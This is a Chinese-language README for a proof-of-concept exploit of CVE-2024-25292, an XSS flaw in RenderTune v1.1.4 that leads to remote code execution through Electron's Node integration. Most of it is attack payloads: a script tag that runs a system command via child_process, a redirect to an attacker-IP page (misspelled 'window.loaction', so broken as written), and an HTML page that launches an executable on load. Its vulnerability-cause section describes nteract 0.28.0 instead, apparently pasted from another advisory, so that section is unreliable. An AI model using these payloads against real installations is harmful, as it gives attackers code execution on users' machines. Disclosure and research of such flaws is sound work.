RenderTune RCE

CVE-2024-25292 漏洞的概念验证。

RenderTune v1.1.4 中存在跨站脚本 (XSS) 漏洞，攻击者可通过向“上传标题”参数注入精心构造的有效载荷来执行任意 Web 脚本或 HTML。本仓库包含一个示例的易受攻击应用程序及其概念验证 (PoC) 漏洞利用程序。

作为 PoC，提供了一个自动完成该过程的 Python 文件。

1. 漏洞概述：

这是一个通过 XSS 实现 RCE 的漏洞。标题中存在一个可执行 XSS 的部分，因此该漏洞能够通过 XSS 语法利用 NodeJS 语法实现 RCE。

2. 漏洞成因：

nteract 0.28.0 允许通过 Markdown 链接使用 Electron webview，从而导致远程代码执行（因为 webPreferences 中的 nodeIntegration 设置为 true）。
漏洞利用说明
- 当在应用程序内通过 MarkDown 生成链接时，它会通过 Electron 创建一个 WebView，允许外部访问该链接。因此，攻击者可通过连接到指向攻击者服务器的链接来实现远程代码执行 (RCE)。

概念验证 (PoC)

Case 1) XSS 到 RCE。

步骤 1) 确认标题部分存在 XSS ※ 此时，除非附加了图片，否则上传项不会注册。

<b>jruru</b>

步骤 2) 因此，配置为使用 XSS 执行 NodeJS 系统命令。

<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

Case 2) 通过攻击者服务器进行攻击

※ 当使用 window.location 尝试攻击时，每次运行应用程序都会自动跳转到您设置的页面。

<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>

注意： ※ 如果您想快速测试，请在攻击者 PC 上使用以下代码创建一个服务器。

$ python -m http.server 80

PoC 代码

<html>
<head>
  <title>jruru Link</title>
</head>
<body>

  <!-- 使用标签上的 onclick 属性直接运行脚本 -->
  <a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>

  <script>
    // 脚本函数定义
    function openExternal() {
      try {
        const { shell } = require('electron');
        shell.openExternal('file:C:/Windows/System32/calc.exe');
      } catch(e) {
        alert('JRURU');
        alert(e);
      }
    }

    // 页面加载时自动运行脚本
    document.addEventListener('DOMContentLoaded', function() {
      openExternal();
    });
  </script>
</body>
</html>

renderTune3

CVE-2024-25292

最受欢迎